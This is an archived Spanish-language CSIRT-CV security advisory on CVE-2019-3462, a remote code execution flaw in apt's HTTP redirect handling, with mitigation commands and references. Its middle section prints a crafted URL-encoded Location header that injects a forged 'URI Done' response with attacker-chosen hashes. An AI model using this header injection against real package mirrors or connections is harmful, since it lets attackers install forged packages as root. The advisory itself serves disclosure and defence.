CSIRTCV

Está usted visitando una publicación en la hemeroteca de CSIRT-CV.
Para acceder al portal y contenido actual, visite https://www.csirtcv.gva.es

23/01/2019

Ejecución remota de código en apt/apt-get

Investigador encuentra vulnerabilidad RCE en apt que permite ejecución de código arbitrario como root en una máquina instalando cualquier paquete a través de un ataque de tipo man-in-the middle (o a través de un mirror de paquetes malicioso).

Riesgo: Crítico

Al obtener datos, apt desactiva los procesos de trabajo que se especializan en los distintos protocolos que se utilizarán para la transferencia de datos. El proceso principal luego se comunica con estos procesos a través de stdin / stdout para decirles qué descargar y dónde colocarlo en el sistema de archivos mediante un protocolo que se parece un poco a HTTP. Por ejemplo, cuando se ejecuta apt install cowsay en una máquina que usa repositorios servidos a través de HTTP, apt desactivará / usr / lib / apt / methods / http, que devuelve un mensaje 100 Capabilities message:

100 Capabilities Version: 1.2 Pipeline: true Send-Config: true

El proceso padre enviará su configuración y pedirá una fuente:

601 Configuration Config-Item: APT::Architecture=amd64 Config-Item: APT::Build-Essential::=build-essential Config-Item: APT::Install-Recommends=1 (...many more lines omitted...) 600 URI Acquire URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3 Expected-Checksum-FileSize: 20070

El proceso de trabajo responderá algo similar a:

102 Status URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Connecting to prod.debian.map.fastly.net 102 Status URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204) 102 Status URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Waiting for headers 200 URI Start URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Size: 20070 Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000 201 URI Done URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb Size: 20070 Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000 MD5-Hash: 27967ddb76b2c394a0714480b7072ab3 MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3 SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Checksum-FileSize-Hash: 20070

Cuando el servidor HTTP responde con un redirect, el proceso de trabajo devuelve un 103 Redirect en lugar de 201 URI Done, y entonces el proceso principal usa esta respuesta para averiguar qué recurso debe solicitar a continuación:

103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://example.com/new-uri

Desafortunadamente, la URL del proceso que gestiona HTTP decodifica la cabecera  Location y la añade a la respuesta 103 Redirect. Por tanto si el servidor HTTP envía Location: /new-uri%0AFoo%3A%20Bar, este proceso responderá con los siguiente:

103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://deb.debian.org/new-uri Foo: Bar

O si el servidor HTTP envía:

Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/

lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

el proceso responderá:

103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://deb.debian.org/payload 201 URI Done URI: http://deb.debian.org/payload Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg Size: 20070 Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000 MD5-Hash: 27967ddb76b2c394a0714480b7072ab3 MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3 SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Checksum-FileSize-Hash: 20070
El proceso padre confiará en los hashes devueltos en la respuesta 201 URI Done y los comparará con los valores del paquete firmado. 
Dado que el atacante controla los hashes reportados, pueden usar esta vulnerabilidad para forjar convincentemente cualquier paquete.
Pueden ampliar esta información en detalle en el siguiente enlace.

 

Sistemas Afectados:

Linux APT Package Manager (apt, apt-get)

Referencias:

CVE-2019-3462

Solución:

El bug ha sido parcheado en las últimas versiones de apt. Si te preocupa haber sido víctima de esta vulnerabilidad puedes deshabilitar la redirección HTTP mientras actualizas:

$ sudo apt update -o Acquire::http::AllowRedirect=false

$ sudo apt upgrade -o Acquire::http::AllowRedirect=false

Las instrucciones para actualizar Debian están disponibles en este enlace. Las de Ubuntu en el siguiente.

Notas:

https://justi.cz/security/2019/01/22/apt-rce.html

https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-3462.html

https://sensorstechforum.com/cve-2019-3462-linux-apt-package-manager/

Fuente: Max Justicz

CSIRT-CV